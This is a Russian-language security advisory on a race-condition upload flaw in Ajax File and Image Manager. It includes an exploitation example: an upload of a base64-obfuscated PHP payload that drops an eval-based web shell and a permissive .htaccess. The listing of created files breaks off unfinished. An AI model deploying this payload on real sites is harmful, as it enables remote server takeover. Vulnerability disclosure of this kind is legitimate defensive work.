PT-2013-41: Выполнение произвольного кода в Ajax File and Image Manager

Уязвимое ПО

Ajax File and Image Manager
Версия: 1.1 и более ранняя

Ссылка:
http://www.phpletter.com/DOWNLOAD/

Рейтинг опасности

Уровень опасности: Высокий
Воздействие: Выполнение произвольного кода
Вектор атаки: Удаленный

CVSS v2:
Base Score: 10
Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVE: отсутствует

Описание программы

Ajax File and Image Manager – файловый менеджер с открытым исходным кодом, использующий для работы Ajax и PHP. Может использоваться как автономное веб-приложение, а также как плагин для TinyMCE и FCKeditor.

Описание уязвимости

Специалисты Исследовательского центра Positive Research компании Positive Technologies обнаружили уязвимость "Выполнение произвольного кода" в Ajax File and Image Manager.

Из-за некорректной архитектуры приложения проверка расширения загружаемого файла осуществляется после его загрузки с последующим удалением в случае, если расширение загружаемого файла не содержится в списке разрешенных. Таким образом, можно обратиться к загруженному файлу до того, как он будет удален, что приведет к выполнению произвольного кода.

Пример эксплуатации:

Одновременно отправить запросы:

1)

-----------------------------307211690811
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php
eval(base64_decode("JGZwID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7CiRodGFjY2VzcyA9ICc8RmlsZXNNYXRjaCAi
LihwaHApJCI+CkFsbG93IGZyb20gYWxsCjwvRmlsZXNtYXRjaD4nOwokdGVzdCA9IGZ3cml0ZSgk
ZnAsICRodGFjY2Vzcyk7CmZjbG9zZSgkZnApOwojaWYoZmlsZV9leGlzdHMoIjIucGhwIikpIHtk
aWUoKTt9CiRmcDEgPSBmb3BlbigiMi5waHAiLCAidyIpOwokY29kZSA9ICc8P3BocCBldmFsKCRf
UkVRVUVTVFtjXSk7ID8+JzsKJHRlc3QgPSBmd3JpdGUoJGZwMSwgJGNvZGUpOwpmY2xvc2UoJGZw
MSk7"));
?>
-----------------------------307211690811—

-----------------------------307211690811
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

<FilesMatch ".(php)$">
Allow from all
</FilesMatch>
-----------------------------307211690811—

В результате в каталоге targethost/images/banner будут созданы следующие файлы:
.htaccess с содержимым

Решение

Отсутствует

Статус уведомления

20.06.2013 - Производителю отправлены детали уязвимости
04.09.2013 - Детали уязвимости отправлены в CERT
17.09.2013 - Публикация уязвимости

Благодарности

Уязвимость обнаружил Илья Крупенко (Исследовательский центр Positive Research компании Positive Technologies)

Ссылки

http://www.securitylab.ru/lab/PT-2013-41

Список отчетов о ранее обнаруженных уязвимостях Positive Research:

http://www.ptsecurity.ru/lab/advisory/
http://www.securitylab.ru/lab/